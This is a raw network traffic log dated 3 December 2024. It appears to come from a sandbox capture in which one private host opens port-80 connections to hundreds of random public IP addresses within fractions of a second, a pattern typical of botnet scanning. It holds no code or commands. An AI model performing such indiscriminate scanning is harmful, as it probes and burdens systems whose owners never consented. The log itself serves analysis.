Dec 3, 2024 21:47:21.174722910 CET	80	39419	198.145.246.234	192.168.2.13
Dec 3, 2024 21:47:21.174735069 CET	39419	80	192.168.2.13	221.101.135.2
Dec 3, 2024 21:47:21.174737930 CET	80	39419	47.191.172.4	192.168.2.13
Dec 3, 2024 21:47:21.174746037 CET	39419	80	192.168.2.13	34.26.128.234
Dec 3, 2024 21:47:21.174748898 CET	39419	80	192.168.2.13	198.145.246.234
Dec 3, 2024 21:47:21.174767017 CET	39419	80	192.168.2.13	47.191.172.4
Dec 3, 2024 21:47:21.174793005 CET	80	39419	94.17.52.87	192.168.2.13
Dec 3, 2024 21:47:21.174807072 CET	80	39419	145.167.157.176	192.168.2.13
Dec 3, 2024 21:47:21.174820900 CET	80	39419	98.184.32.108	192.168.2.13
Dec 3, 2024 21:47:21.174834967 CET	80	39419	216.86.73.213	192.168.2.13
Dec 3, 2024 21:47:21.174834967 CET	39419	80	192.168.2.13	94.17.52.87
Dec 3, 2024 21:47:21.174846888 CET	39419	80	192.168.2.13	145.167.157.176
Dec 3, 2024 21:47:21.174851894 CET	80	39419	188.144.231.150	192.168.2.13
Dec 3, 2024 21:47:21.174855947 CET	39419	80	192.168.2.13	98.184.32.108
Dec 3, 2024 21:47:21.174864054 CET	39419	80	192.168.2.13	216.86.73.213
Dec 3, 2024 21:47:21.174877882 CET	80	39419	85.191.219.104	192.168.2.13
Dec 3, 2024 21:47:21.174891949 CET	80	39419	216.31.9.173	192.168.2.13
Dec 3, 2024 21:47:21.174909115 CET	39419	80	192.168.2.13	188.144.231.150
Dec 3, 2024 21:47:21.174911022 CET	39419	80	192.168.2.13	85.191.219.104
Dec 3, 2024 21:47:21.174916029 CET	80	39419	223.183.74.127	192.168.2.13
Dec 3, 2024 21:47:21.174923897 CET	39419	80	192.168.2.13	216.31.9.173
Dec 3, 2024 21:47:21.174930096 CET	80	39419	4.180.186.180	192.168.2.13
Dec 3, 2024 21:47:21.174971104 CET	39419	80	192.168.2.13	223.183.74.127
Dec 3, 2024 21:47:21.174983978 CET	39419	80	192.168.2.13	4.180.186.180
Dec 3, 2024 21:47:21.174997091 CET	80	39419	43.255.192.11	192.168.2.13
Dec 3, 2024 21:47:21.175010920 CET	80	39419	195.237.101.170	192.168.2.13
Dec 3, 2024 21:47:21.175025940 CET	80	39419	204.63.224.200	192.168.2.13
Dec 3, 2024 21:47:21.175034046 CET	39419	80	192.168.2.13	43.255.192.11
Dec 3, 2024 21:47:21.175044060 CET	39419	80	192.168.2.13	195.237.101.170
Dec 3, 2024 21:47:21.175052881 CET	80	39419	130.37.189.23	192.168.2.13
Dec 3, 2024 21:47:21.175054073 CET	39419	80	192.168.2.13	204.63.224.200
Dec 3, 2024 21:47:21.175064087 CET	80	39419	80.129.90.154	192.168.2.13
Dec 3, 2024 21:47:21.175087929 CET	80	39419	134.155.154.104	192.168.2.13
Dec 3, 2024 21:47:21.175092936 CET	39419	80	192.168.2.13	130.37.189.23
Dec 3, 2024 21:47:21.175095081 CET	39419	80	192.168.2.13	80.129.90.154
Dec 3, 2024 21:47:21.175131083 CET	39419	80	192.168.2.13	134.155.154.104
Dec 3, 2024 21:47:21.175167084 CET	80	39419	51.164.5.25	192.168.2.13
Dec 3, 2024 21:47:21.175194979 CET	80	39419	36.36.163.1	192.168.2.13
Dec 3, 2024 21:47:21.175199032 CET	39419	80	192.168.2.13	51.164.5.25
Dec 3, 2024 21:47:21.175228119 CET	39419	80	192.168.2.13	36.36.163.1
Dec 3, 2024 21:47:21.175353050 CET	80	39419	54.112.254.106	192.168.2.13
Dec 3, 2024 21:47:21.175363064 CET	80	39419	105.173.175.189	192.168.2.13
Dec 3, 2024 21:47:21.175367117 CET	80	39419	159.139.254.9	192.168.2.13
Dec 3, 2024 21:47:21.175383091 CET	80	39419	49.248.111.165	192.168.2.13
Dec 3, 2024 21:47:21.175396919 CET	80	39419	154.59.225.82	192.168.2.13
Dec 3, 2024 21:47:21.175398111 CET	39419	80	192.168.2.13	54.112.254.106
Dec 3, 2024 21:47:21.175405025 CET	39419	80	192.168.2.13	105.173.175.189
Dec 3, 2024 21:47:21.175405025 CET	39419	80	192.168.2.13	159.139.254.9
Dec 3, 2024 21:47:21.175414085 CET	39419	80	192.168.2.13	49.248.111.165
Dec 3, 2024 21:47:21.175421000 CET	80	39419	174.7.104.47	192.168.2.13
Dec 3, 2024 21:47:21.175431967 CET	39419	80	192.168.2.13	154.59.225.82
Dec 3, 2024 21:47:21.175435066 CET	80	39419	178.191.122.247	192.168.2.13
Dec 3, 2024 21:47:21.175450087 CET	39419	80	192.168.2.13	174.7.104.47
Dec 3, 2024 21:47:21.175467014 CET	39419	80	192.168.2.13	178.191.122.247
Dec 3, 2024 21:47:21.176192045 CET	80	39419	53.65.115.245	192.168.2.13
Dec 3, 2024 21:47:21.176225901 CET	80	39419	219.18.22.75	192.168.2.13
Dec 3, 2024 21:47:21.176237106 CET	80	39419	89.70.128.197	192.168.2.13
Dec 3, 2024 21:47:21.176238060 CET	39419	80	192.168.2.13	53.65.115.245
Dec 3, 2024 21:47:21.176273108 CET	80	39419	136.169.245.94	192.168.2.13
Dec 3, 2024 21:47:21.176281929 CET	80	39419	98.126.23.157	192.168.2.13
Dec 3, 2024 21:47:21.176286936 CET	80	39419	192.180.184.188	192.168.2.13
Dec 3, 2024 21:47:21.176295996 CET	80	39419	162.238.108.65	192.168.2.13
Dec 3, 2024 21:47:21.176296949 CET	39419	80	192.168.2.13	89.70.128.197
Dec 3, 2024 21:47:21.176301003 CET	39419	80	192.168.2.13	219.18.22.75
Dec 3, 2024 21:47:21.176316023 CET	39419	80	192.168.2.13	98.126.23.157
Dec 3, 2024 21:47:21.176328897 CET	39419	80	192.168.2.13	136.169.245.94
Dec 3, 2024 21:47:21.176328897 CET	39419	80	192.168.2.13	192.180.184.188
Dec 3, 2024 21:47:21.176340103 CET	39419	80	192.168.2.13	162.238.108.65
Dec 3, 2024 21:47:21.176341057 CET	80	39419	142.167.56.115	192.168.2.13
Dec 3, 2024 21:47:21.176357031 CET	80	39419	184.155.31.210	192.168.2.13
Dec 3, 2024 21:47:21.176369905 CET	80	39419	151.157.22.5	192.168.2.13
Dec 3, 2024 21:47:21.176374912 CET	39419	80	192.168.2.13	142.167.56.115
Dec 3, 2024 21:47:21.176393986 CET	80	39419	223.48.224.222	192.168.2.13
Dec 3, 2024 21:47:21.176395893 CET	39419	80	192.168.2.13	184.155.31.210
Dec 3, 2024 21:47:21.176395893 CET	39419	80	192.168.2.13	151.157.22.5
Dec 3, 2024 21:47:21.176409006 CET	80	39419	184.143.71.127	192.168.2.13
Dec 3, 2024 21:47:21.176425934 CET	80	39419	35.0.167.105	192.168.2.13
Dec 3, 2024 21:47:21.176430941 CET	39419	80	192.168.2.13	223.48.224.222
Dec 3, 2024 21:47:21.176435947 CET	39419	80	192.168.2.13	184.143.71.127
Dec 3, 2024 21:47:21.176445007 CET	80	39419	181.219.122.89	192.168.2.13
Dec 3, 2024 21:47:21.176453114 CET	39419	80	192.168.2.13	35.0.167.105
Dec 3, 2024 21:47:21.176456928 CET	80	39419	65.90.231.250	192.168.2.13
Dec 3, 2024 21:47:21.176482916 CET	80	39419	197.167.120.154	192.168.2.13
Dec 3, 2024 21:47:21.176482916 CET	39419	80	192.168.2.13	181.219.122.89
Dec 3, 2024 21:47:21.176490068 CET	39419	80	192.168.2.13	65.90.231.250
Dec 3, 2024 21:47:21.176500082 CET	80	39419	76.50.32.51	192.168.2.13
Dec 3, 2024 21:47:21.176513910 CET	80	39419	178.105.162.15	192.168.2.13
Dec 3, 2024 21:47:21.176516056 CET	39419	80	192.168.2.13	197.167.120.154
Dec 3, 2024 21:47:21.176527977 CET	80	39419	20.48.106.239	192.168.2.13
Dec 3, 2024 21:47:21.176533937 CET	39419	80	192.168.2.13	76.50.32.51
Dec 3, 2024 21:47:21.176538944 CET	39419	80	192.168.2.13	178.105.162.15
Dec 3, 2024 21:47:21.176548958 CET	80	39419	69.221.73.107	192.168.2.13
Dec 3, 2024 21:47:21.176558018 CET	39419	80	192.168.2.13	20.48.106.239
Dec 3, 2024 21:47:21.176572084 CET	80	39419	163.59.147.119	192.168.2.13
Dec 3, 2024 21:47:21.176584959 CET	80	39419	187.217.91.15	192.168.2.13
Dec 3, 2024 21:47:21.176587105 CET	39419	80	192.168.2.13	69.221.73.107
Dec 3, 2024 21:47:21.176599026 CET	80	39419	209.160.126.77	192.168.2.13
Dec 3, 2024 21:47:21.176606894 CET	39419	80	192.168.2.13	163.59.147.119
Dec 3, 2024 21:47:21.176618099 CET	80	39419	5.219.151.0	192.168.2.13
Dec 3, 2024 21:47:21.176624060 CET	39419	80	192.168.2.13	187.217.91.15
Dec 3, 2024 21:47:21.176628113 CET	80	39419	192.143.143.100	192.168.2.13
Dec 3, 2024 21:47:21.176632881 CET	39419	80	192.168.2.13	209.160.126.77
Dec 3, 2024 21:47:21.176645041 CET	80	39419	47.178.80.185	192.168.2.13
Dec 3, 2024 21:47:21.176646948 CET	39419	80	192.168.2.13	5.219.151.0
Dec 3, 2024 21:47:21.176650047 CET	39419	80	192.168.2.13	192.143.143.100
Dec 3, 2024 21:47:21.176661015 CET	80	39419	135.126.180.121	192.168.2.13
Dec 3, 2024 21:47:21.176677942 CET	80	39419	24.14.163.27	192.168.2.13
Dec 3, 2024 21:47:21.176683903 CET	39419	80	192.168.2.13	47.178.80.185
Dec 3, 2024 21:47:21.176697016 CET	39419	80	192.168.2.13	135.126.180.121
Dec 3, 2024 21:47:21.176707029 CET	39419	80	192.168.2.13	24.14.163.27
Dec 3, 2024 21:47:21.177011013 CET	80	39419	20.159.32.197	192.168.2.13
Dec 3, 2024 21:47:21.177026033 CET	80	39419	197.92.52.48	192.168.2.13
Dec 3, 2024 21:47:21.177037954 CET	80	39419	124.54.243.93	192.168.2.13
Dec 3, 2024 21:47:21.177048922 CET	39419	80	192.168.2.13	20.159.32.197
Dec 3, 2024 21:47:21.177048922 CET	39419	80	192.168.2.13	197.92.52.48
Dec 3, 2024 21:47:21.177064896 CET	80	39419	39.25.202.96	192.168.2.13
Dec 3, 2024 21:47:21.177067041 CET	39419	80	192.168.2.13	124.54.243.93
Dec 3, 2024 21:47:21.177082062 CET	80	39419	179.9.125.56	192.168.2.13
Dec 3, 2024 21:47:21.177094936 CET	80	39419	2.28.8.216	192.168.2.13
Dec 3, 2024 21:47:21.177099943 CET	39419	80	192.168.2.13	39.25.202.96
Dec 3, 2024 21:47:21.177110910 CET	80	39419	2.200.64.79	192.168.2.13
Dec 3, 2024 21:47:21.177122116 CET	39419	80	192.168.2.13	179.9.125.56
Dec 3, 2024 21:47:21.177123070 CET	80	39419	220.130.200.122	192.168.2.13
Dec 3, 2024 21:47:21.177139044 CET	80	39419	118.20.80.18	192.168.2.13
Dec 3, 2024 21:47:21.177145958 CET	39419	80	192.168.2.13	2.28.8.216
Dec 3, 2024 21:47:21.177155018 CET	39419	80	192.168.2.13	2.200.64.79
Dec 3, 2024 21:47:21.177155018 CET	39419	80	192.168.2.13	220.130.200.122
Dec 3, 2024 21:47:21.177164078 CET	39419	80	192.168.2.13	118.20.80.18
Dec 3, 2024 21:47:21.177185059 CET	80	39419	180.134.245.219	192.168.2.13
Dec 3, 2024 21:47:21.177198887 CET	80	39419	52.115.245.92	192.168.2.13
Dec 3, 2024 21:47:21.177212000 CET	80	39419	203.182.231.103	192.168.2.13
Dec 3, 2024 21:47:21.177218914 CET	39419	80	192.168.2.13	180.134.245.219
Dec 3, 2024 21:47:21.177223921 CET	80	39419	19.243.62.109	192.168.2.13
Dec 3, 2024 21:47:21.177234888 CET	39419	80	192.168.2.13	52.115.245.92
Dec 3, 2024 21:47:21.177237988 CET	80	39419	107.254.35.29	192.168.2.13
Dec 3, 2024 21:47:21.177244902 CET	39419	80	192.168.2.13	203.182.231.103
Dec 3, 2024 21:47:21.177263021 CET	80	39419	12.208.187.26	192.168.2.13
Dec 3, 2024 21:47:21.177268028 CET	39419	80	192.168.2.13	19.243.62.109
Dec 3, 2024 21:47:21.177278042 CET	80	60014	186.84.218.11	192.168.2.13
Dec 3, 2024 21:47:21.177278996 CET	39419	80	192.168.2.13	107.254.35.29
Dec 3, 2024 21:47:21.177298069 CET	39419	80	192.168.2.13	12.208.187.26
Dec 3, 2024 21:47:21.177315950 CET	60014	80	192.168.2.13	186.84.218.11
Dec 3, 2024 21:47:21.177959919 CET	49302	80	192.168.2.13	76.92.114.113
Dec 3, 2024 21:47:21.178615093 CET	46564	80	192.168.2.13	90.16.15.253
Dec 3, 2024 21:47:21.179414034 CET	54840	80	192.168.2.13	189.42.102.231
Dec 3, 2024 21:47:21.180042028 CET	52532	80	192.168.2.13	98.139.210.210
Dec 3, 2024 21:47:21.180691957 CET	59820	80	192.168.2.13	1.37.160.118
Dec 3, 2024 21:47:21.181288958 CET	37400	80	192.168.2.13	59.135.235.143
Dec 3, 2024 21:47:21.181898117 CET	33062	80	192.168.2.13	75.37.8.14
Dec 3, 2024 21:47:21.182509899 CET	36506	80	192.168.2.13	89.36.101.40
Dec 3, 2024 21:47:21.183152914 CET	34694	80	192.168.2.13	4.254.108.72
Dec 3, 2024 21:47:21.183537960 CET	80	55008	132.216.212.60	192.168.2.13
Dec 3, 2024 21:47:21.183593035 CET	55008	80	192.168.2.13	132.216.212.60
Dec 3, 2024 21:47:21.183778048 CET	45144	80	192.168.2.13	71.32.188.209
Dec 3, 2024 21:47:21.184420109 CET	47050	80	192.168.2.13	57.82.148.22
Dec 3, 2024 21:47:21.185067892 CET	55316	80	192.168.2.13	103.231.141.13
Dec 3, 2024 21:47:21.185688972 CET	41370	80	192.168.2.13	20.156.141.133
Dec 3, 2024 21:47:21.186413050 CET	52238	80	192.168.2.13	172.164.246.48
Dec 3, 2024 21:47:21.187093973 CET	56570	80	192.168.2.13	107.168.161.112
Dec 3, 2024 21:47:21.187750101 CET	39938	80	192.168.2.13	163.219.199.68
Dec 3, 2024 21:47:21.188363075 CET	47008	80	192.168.2.13	37.33.29.201
Dec 3, 2024 21:47:21.188992023 CET	54764	80	192.168.2.13	110.159.128.181
Dec 3, 2024 21:47:21.189594984 CET	43152	80	192.168.2.13	158.208.19.55
Dec 3, 2024 21:47:21.190238953 CET	35620	80	192.168.2.13	77.236.95.251
Dec 3, 2024 21:47:21.190866947 CET	58104	80	192.168.2.13	112.98.164.182
Dec 3, 2024 21:47:21.191492081 CET	59988	80	192.168.2.13	49.166.162.43
Dec 3, 2024 21:47:21.192147970 CET	50372	80	192.168.2.13	221.101.135.2
Dec 3, 2024 21:47:21.192804098 CET	38856	80	192.168.2.13	34.26.128.234
Dec 3, 2024 21:47:21.193516016 CET	45436	80	192.168.2.13	198.145.246.234
Dec 3, 2024 21:47:21.194163084 CET	41948	80	192.168.2.13	47.191.172.4
Dec 3, 2024 21:47:21.194806099 CET	53870	80	192.168.2.13	94.17.52.87
Dec 3, 2024 21:47:21.195447922 CET	42306	80	192.168.2.13	145.167.157.176
Dec 3, 2024 21:47:21.195637941 CET	80	60340	170.41.22.77	192.168.2.13
Dec 3, 2024 21:47:21.195682049 CET	60340	80	192.168.2.13	170.41.22.77
Dec 3, 2024 21:47:21.196162939 CET	34484	80	192.168.2.13	98.184.32.108
Dec 3, 2024 21:47:21.196790934 CET	44166	80	192.168.2.13	216.86.73.213
Dec 3, 2024 21:47:21.197367907 CET	33078	80	192.168.2.13	188.144.231.150
Dec 3, 2024 21:47:21.198025942 CET	45536	80	192.168.2.13	85.191.219.104
Dec 3, 2024 21:47:21.204623938 CET	80	39072	104.7.94.67	192.168.2.13
Dec 3, 2024 21:47:21.204694033 CET	39072	80	192.168.2.13	104.7.94.67
Dec 3, 2024 21:47:21.212985039 CET	33942	80	192.168.2.13	216.31.9.173
Dec 3, 2024 21:47:21.213618040 CET	47456	80	192.168.2.13	223.183.74.127
Dec 3, 2024 21:47:21.214190006 CET	38744	80	192.168.2.13	4.180.186.180
Dec 3, 2024 21:47:21.214790106 CET	53154	80	192.168.2.13	43.255.192.11
Dec 3, 2024 21:47:21.215513945 CET	33110	80	192.168.2.13	195.237.101.170
Dec 3, 2024 21:47:21.216170073 CET	45544	80	192.168.2.13	204.63.224.200
Dec 3, 2024 21:47:21.216813087 CET	44884	80	192.168.2.13	80.129.90.154
Dec 3, 2024 21:47:21.217463970 CET	37710	80	192.168.2.13	130.37.189.23
Dec 3, 2024 21:47:21.218101978 CET	80	48836	158.83.114.212	192.168.2.13
Dec 3, 2024 21:47:21.218127012 CET	50634	80	192.168.2.13	134.155.154.104
Dec 3, 2024 21:47:21.218153000 CET	48836	80	192.168.2.13	158.83.114.212
Dec 3, 2024 21:47:21.218765020 CET	56262	80	192.168.2.13	51.164.5.25
Dec 3, 2024 21:47:21.219423056 CET	52588	80	192.168.2.13	36.36.163.1
Dec 3, 2024 21:47:21.220072031 CET	53408	80	192.168.2.13	54.112.254.106
Dec 3, 2024 21:47:21.220709085 CET	34836	80	192.168.2.13	105.173.175.189
Dec 3, 2024 21:47:21.221328020 CET	35002	80	192.168.2.13	159.139.254.9
Dec 3, 2024 21:47:21.221971035 CET	46314	80	192.168.2.13	49.248.111.165
Dec 3, 2024 21:47:21.222592115 CET	45428	80	192.168.2.13	154.59.225.82
Dec 3, 2024 21:47:21.223231077 CET	35092	80	192.168.2.13	174.7.104.47
Dec 3, 2024 21:47:21.223870993 CET	49630	80	192.168.2.13	178.191.122.247
Dec 3, 2024 21:47:21.224477053 CET	43206	80	192.168.2.13	53.65.115.245
Dec 3, 2024 21:47:21.225102901 CET	43554	80	192.168.2.13	219.18.22.75
Dec 3, 2024 21:47:21.225708961 CET	51402	80	192.168.2.13	89.70.128.197
Dec 3, 2024 21:47:21.226320028 CET	57852	80	192.168.2.13	98.126.23.157
Dec 3, 2024 21:47:21.226912975 CET	53746	80	192.168.2.13	136.169.245.94
Dec 3, 2024 21:47:21.227505922 CET	55108	80	192.168.2.13	192.180.184.188
Dec 3, 2024 21:47:21.228106976 CET	49614	80	192.168.2.13	162.238.108.65
Dec 3, 2024 21:47:21.228732109 CET	44316	80	192.168.2.13	142.167.56.115
Dec 3, 2024 21:47:21.229325056 CET	59288	80	192.168.2.13	184.155.31.210
Dec 3, 2024 21:47:21.229943037 CET	52186	80	192.168.2.13	151.157.22.5
Dec 3, 2024 21:47:21.230562925 CET	55266	80	192.168.2.13	223.48.224.222
Dec 3, 2024 21:47:21.231177092 CET	43378	80	192.168.2.13	184.143.71.127
Dec 3, 2024 21:47:21.231789112 CET	54606	80	192.168.2.13	35.0.167.105
Dec 3, 2024 21:47:21.232408047 CET	37530	80	192.168.2.13	181.219.122.89
Dec 3, 2024 21:47:21.233026028 CET	43100	80	192.168.2.13	65.90.231.250
Dec 3, 2024 21:47:21.233669043 CET	42686	80	192.168.2.13	197.167.120.154
Dec 3, 2024 21:47:21.234323025 CET	40588	80	192.168.2.13	76.50.32.51
Dec 3, 2024 21:47:21.234966040 CET	55966	80	192.168.2.13	178.105.162.15
Dec 3, 2024 21:47:21.235389948 CET	80	54690	192.43.101.232	192.168.2.13
Dec 3, 2024 21:47:21.235433102 CET	54690	80	192.168.2.13	192.43.101.232
Dec 3, 2024 21:47:21.235616922 CET	36698	80	192.168.2.13	20.48.106.239
Dec 3, 2024 21:47:21.236259937 CET	59360	80	192.168.2.13	69.221.73.107
Dec 3, 2024 21:47:21.236867905 CET	56634	80	192.168.2.13	163.59.147.119
Dec 3, 2024 21:47:21.237447023 CET	80	42902	2.241.114.145	192.168.2.13
Dec 3, 2024 21:47:21.237488985 CET	42902	80	192.168.2.13	2.241.114.145
Dec 3, 2024 21:47:21.237509012 CET	39070	80	192.168.2.13	187.217.91.15
Dec 3, 2024 21:47:21.238123894 CET	58978	80	192.168.2.13	209.160.126.77
Dec 3, 2024 21:47:21.238722086 CET	44696	80	192.168.2.13	5.219.151.0
Dec 3, 2024 21:47:21.239331961 CET	58456	80	192.168.2.13	192.143.143.100
Dec 3, 2024 21:47:21.239974976 CET	59948	80	192.168.2.13	47.178.80.185
Dec 3, 2024 21:47:21.240616083 CET	58700	80	192.168.2.13	135.126.180.121
Dec 3, 2024 21:47:21.241250992 CET	43186	80	192.168.2.13	24.14.163.27
Dec 3, 2024 21:47:21.242043972 CET	60954	80	192.168.2.13	20.159.32.197
Dec 3, 2024 21:47:21.242585897 CET	49006	80	192.168.2.13	197.92.52.48
Dec 3, 2024 21:47:21.243232012 CET	54656	80	192.168.2.13	124.54.243.93
Dec 3, 2024 21:47:21.243864059 CET	53646	80	192.168.2.13	39.25.202.96
Dec 3, 2024 21:47:21.244401932 CET	80	52708	204.38.189.144	192.168.2.13
Dec 3, 2024 21:47:21.244448900 CET	52708	80	192.168.2.13	204.38.189.144
Dec 3, 2024 21:47:21.244508982 CET	37838	80	192.168.2.13	179.9.125.56
Dec 3, 2024 21:47:21.245162964 CET	42292	80	192.168.2.13	2.28.8.216
Dec 3, 2024 21:47:21.245831013 CET	48326	80	192.168.2.13	2.200.64.79
Dec 3, 2024 21:47:21.246499062 CET	57808	80	192.168.2.13	220.130.200.122
Dec 3, 2024 21:47:21.247150898 CET	34674	80	192.168.2.13	118.20.80.18
Dec 3, 2024 21:47:21.247812986 CET	58136	80	192.168.2.13	180.134.245.219
Dec 3, 2024 21:47:21.248490095 CET	58214	80	192.168.2.13	52.115.245.92
Dec 3, 2024 21:47:21.249157906 CET	59592	80	192.168.2.13	203.182.231.103
Dec 3, 2024 21:47:21.249830961 CET	35596	80	192.168.2.13	19.243.62.109
Dec 3, 2024 21:47:21.250499010 CET	41782	80	192.168.2.13	107.254.35.29
Dec 3, 2024 21:47:21.251163006 CET	46590	80	192.168.2.13	12.208.187.26
Dec 3, 2024 21:47:21.251938105 CET	60014	80	192.168.2.13	186.84.218.11
Dec 3, 2024 21:47:21.251996040 CET	60014	80	192.168.2.13	186.84.218.11
Dec 3, 2024 21:47:21.252338886 CET	60396	80	192.168.2.13	186.84.218.11
Dec 3, 2024 21:47:21.252746105 CET	39419	80	192.168.2.13	115.245.21.214
Dec 3, 2024 21:47:21.252758026 CET	39419	80	192.168.2.13	118.170.174.117
Dec 3, 2024 21:47:21.252765894 CET	39419	80	192.168.2.13	8.83.18.129
Dec 3, 2024 21:47:21.252773046 CET	39419	80	192.168.2.13	167.247.236.54
Dec 3, 2024 21:47:21.252774000 CET	39419	80	192.168.2.13	192.182.12.113
Dec 3, 2024 21:47:21.252784967 CET	39419	80	192.168.2.13	60.192.19.158
Dec 3, 2024 21:47:21.252798080 CET	39419	80	192.168.2.13	50.214.150.20
Dec 3, 2024 21:47:21.252801895 CET	39419	80	192.168.2.13	192.55.255.65
Dec 3, 2024 21:47:21.252814054 CET	39419	80	192.168.2.13	136.179.106.112
Dec 3, 2024 21:47:21.252819061 CET	39419	80	192.168.2.13	36.115.109.225
Dec 3, 2024 21:47:21.252820969 CET	39419	80	192.168.2.13	66.184.152.146
Dec 3, 2024 21:47:21.252839088 CET	39419	80	192.168.2.13	13.84.220.27
Dec 3, 2024 21:47:21.252845049 CET	39419	80	192.168.2.13	67.133.46.166
Dec 3, 2024 21:47:21.252851009 CET	39419	80	192.168.2.13	104.236.133.217
Dec 3, 2024 21:47:21.252861023 CET	39419	80	192.168.2.13	106.6.214.225
Dec 3, 2024 21:47:21.252866983 CET	39419	80	192.168.2.13	59.106.161.50
Dec 3, 2024 21:47:21.252882004 CET	39419	80	192.168.2.13	145.32.211.25
Dec 3, 2024 21:47:21.252887964 CET	39419	80	192.168.2.13	40.106.95.225
Dec 3, 2024 21:47:21.252902031 CET	39419	80	192.168.2.13	202.136.145.91
Dec 3, 2024 21:47:21.252907038 CET	39419	80	192.168.2.13	221.85.199.171
Dec 3, 2024 21:47:21.252907991 CET	39419	80	192.168.2.13	187.162.12.234
Dec 3, 2024 21:47:21.252923012 CET	39419	80	192.168.2.13	67.10.21.222
Dec 3, 2024 21:47:21.252931118 CET	39419	80	192.168.2.13	96.212.135.9
Dec 3, 2024 21:47:21.252944946 CET	39419	80	192.168.2.13	34.30.185.158
Dec 3, 2024 21:47:21.252947092 CET	39419	80	192.168.2.13	76.104.210.54
Dec 3, 2024 21:47:21.252964973 CET	39419	80	192.168.2.13	210.221.187.219
Dec 3, 2024 21:47:21.252969027 CET	39419	80	192.168.2.13	180.242.159.113
Dec 3, 2024 21:47:21.252981901 CET	39419	80	192.168.2.13	145.211.153.213
Dec 3, 2024 21:47:21.252985001 CET	39419	80	192.168.2.13	191.234.179.220
Dec 3, 2024 21:47:21.252989054 CET	39419	80	192.168.2.13	208.143.114.89
Dec 3, 2024 21:47:21.253005981 CET	39419	80	192.168.2.13	193.209.207.245
Dec 3, 2024 21:47:21.253005981 CET	39419	80	192.168.2.13	184.17.140.28
Dec 3, 2024 21:47:21.253022909 CET	39419	80	192.168.2.13	216.89.86.112
Dec 3, 2024 21:47:21.253022909 CET	39419	80	192.168.2.13	177.233.157.181
Dec 3, 2024 21:47:21.253038883 CET	39419	80	192.168.2.13	171.196.179.106
Dec 3, 2024 21:47:21.253055096 CET	39419	80	192.168.2.13	154.139.22.248
Dec 3, 2024 21:47:21.253057957 CET	39419	80	192.168.2.13	67.140.83.169
Dec 3, 2024 21:47:21.253070116 CET	39419	80	192.168.2.13	175.48.177.15
Dec 3, 2024 21:47:21.253078938 CET	39419	80	192.168.2.13	221.52.152.52
Dec 3, 2024 21:47:21.253086090 CET	39419	80	192.168.2.13	113.153.115.251
Dec 3, 2024 21:47:21.253098011 CET	39419	80	192.168.2.13	174.43.72.235
Dec 3, 2024 21:47:21.253112078 CET	39419	80	192.168.2.13	132.42.26.84
Dec 3, 2024 21:47:21.253113985 CET	39419	80	192.168.2.13	38.134.117.254
Dec 3, 2024 21:47:21.253129959 CET	39419	80	192.168.2.13	211.44.141.206
Dec 3, 2024 21:47:21.253139019 CET	39419	80	192.168.2.13	94.242.92.220
Dec 3, 2024 21:47:21.253150940 CET	39419	80	192.168.2.13	154.208.220.96
Dec 3, 2024 21:47:21.253158092 CET	39419	80	192.168.2.13	128.30.149.97
Dec 3, 2024 21:47:21.253160954 CET	39419	80	192.168.2.13	17.58.191.153
Dec 3, 2024 21:47:21.253174067 CET	39419	80	192.168.2.13	53.147.168.127
Dec 3, 2024 21:47:21.253175974 CET	39419	80	192.168.2.13	164.0.226.6
Dec 3, 2024 21:47:21.253179073 CET	39419	80	192.168.2.13	85.75.176.250
Dec 3, 2024 21:47:21.253187895 CET	39419	80	192.168.2.13	132.70.177.201
Dec 3, 2024 21:47:21.253201962 CET	39419	80	192.168.2.13	4.29.195.197
Dec 3, 2024 21:47:21.253202915 CET	39419	80	192.168.2.13	113.92.13.121
Dec 3, 2024 21:47:21.253211975 CET	39419	80	192.168.2.13	13.93.40.193
Dec 3, 2024 21:47:21.253216028 CET	39419	80	192.168.2.13	67.41.247.123
Dec 3, 2024 21:47:21.253233910 CET	39419	80	192.168.2.13	129.58.123.236
Dec 3, 2024 21:47:21.253235102 CET	39419	80	192.168.2.13	76.4.247.129
Dec 3, 2024 21:47:21.253247976 CET	39419	80	192.168.2.13	158.206.104.24
Dec 3, 2024 21:47:21.253251076 CET	39419	80	192.168.2.13	217.67.15.112
Dec 3, 2024 21:47:21.253256083 CET	39419	80	192.168.2.13	180.233.128.166
Dec 3, 2024 21:47:21.253259897 CET	39419	80	192.168.2.13	222.227.220.173
Dec 3, 2024 21:47:21.253271103 CET	39419	80	192.168.2.13	181.228.245.132
Dec 3, 2024 21:47:21.253273010 CET	39419	80	192.168.2.13	110.228.30.203
Dec 3, 2024 21:47:21.253284931 CET	39419	80	192.168.2.13	205.223.62.2
Dec 3, 2024 21:47:21.253293037 CET	39419	80	192.168.2.13	217.244.240.245
Dec 3, 2024 21:47:21.253305912 CET	39419	80	192.168.2.13	12.218.177.196
Dec 3, 2024 21:47:21.253319025 CET	39419	80	192.168.2.13	4.120.16.119
Dec 3, 2024 21:47:21.253325939 CET	39419	80	192.168.2.13	184.92.191.50
Dec 3, 2024 21:47:21.253329992 CET	39419	80	192.168.2.13	197.98.120.81
Dec 3, 2024 21:47:21.253346920 CET	39419	80	192.168.2.13	80.153.157.91
Dec 3, 2024 21:47:21.253348112 CET	39419	80	192.168.2.13	190.41.8.129
Dec 3, 2024 21:47:21.253361940 CET	39419	80	192.168.2.13	156.109.171.193
Dec 3, 2024 21:47:21.253442049 CET	39419	80	192.168.2.13	190.179.223.215
Dec 3, 2024 21:47:21.253458023 CET	39419	80	192.168.2.13	148.106.138.5
Dec 3, 2024 21:47:21.253458977 CET	39419	80	192.168.2.13	69.193.89.0
Dec 3, 2024 21:47:21.253465891 CET	39419	80	192.168.2.13	219.59.109.117
Dec 3, 2024 21:47:21.253482103 CET	39419	80	192.168.2.13	67.120.79.31
Dec 3, 2024 21:47:21.253488064 CET	39419	80	192.168.2.13	91.241.234.42
Dec 3, 2024 21:47:21.253489971 CET	39419	80	192.168.2.13	67.177.159.60
Dec 3, 2024 21:47:21.253494024 CET	39419	80	192.168.2.13	54.79.130.76
Dec 3, 2024 21:47:21.253508091 CET	39419	80	192.168.2.13	62.108.24.93
Dec 3, 2024 21:47:21.253510952 CET	39419	80	192.168.2.13	141.146.226.200
Dec 3, 2024 21:47:21.253510952 CET	39419	80	192.168.2.13	142.99.129.10
Dec 3, 2024 21:47:21.253520012 CET	39419	80	192.168.2.13	103.150.100.62
Dec 3, 2024 21:47:21.253530025 CET	39419	80	192.168.2.13	194.91.155.159
Dec 3, 2024 21:47:21.253546953 CET	39419	80	192.168.2.13	65.130.56.23
Dec 3, 2024 21:47:21.253551960 CET	39419	80	192.168.2.13	123.149.171.242
